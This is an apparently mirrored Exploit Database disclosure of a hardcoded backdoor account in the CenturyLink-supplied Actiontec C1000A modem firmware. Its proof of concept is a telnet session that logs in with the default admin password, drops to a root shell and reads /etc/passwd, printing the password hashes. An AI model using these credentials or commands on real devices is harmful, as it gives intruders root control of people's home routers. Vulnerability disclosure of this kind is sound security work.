Actiontec C1000A Modem – Backdoor Account

• Exploit Database
• 17 阅读

• 作者： Joseph McDonagh
  日期： 2017-11-04
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/43118/

• # Exploit Title: Actiontec C1000A backdoor account
  # Google Dork: NA
  # Date: 11/04/2017
  # Exploit Author: Joseph McDonagh
  # Vendor Homepage: https://actiontecsupport.zendesk.com/hc/en-us
  # Software Link: N/A Hardware
  # Version: Firmware CAC003-31.30L.86
  # Tested on: Linux
  # CVE : NA
  
  # The Actiontec C1000A Modem provided by CenturyLink has hardcoded passwords. This is similar to another recent submission by Matthew Shiemo, who inspired me to check the device I use.
  
  # Proof of Concept
  
  $ telnet 192.168.0.1
  ===Actiontec xDSL Router===
  Login: admin
  Password: CenturyL1nk
   > sh
   
   BusyBox v1.17.2 (2015-10-30 10:34:29 CST built-in shell (ash)
   Enter 'help' for a list of build-in commands
   
   # cat /etc/passwd
   admin:Rtqa.nQhYPBRo:0:0:Administratir:/:/bin/sh
   support:vmiTSa8ukDkOY:0:0:Technical Support:/:/bin/sh
   user:Fq10qi6QmLmmY:0:0:Normal User:/:/bin/sh
   nobody:rZy3YulyLvuYU:0:0:nobody for ftp:/bin/sh
   # cat /proc/version
   Linux version 2.6.30 (waye@hugh-PowerEdge-R220.home) (gcc version 4.4.2 (Buildroot 2010.02-git) ) #1 SMP PREEMPT Fri Oct 30 12:32:15 CST 2015
   # cat /etc/group
   root::0:root,admin,support,user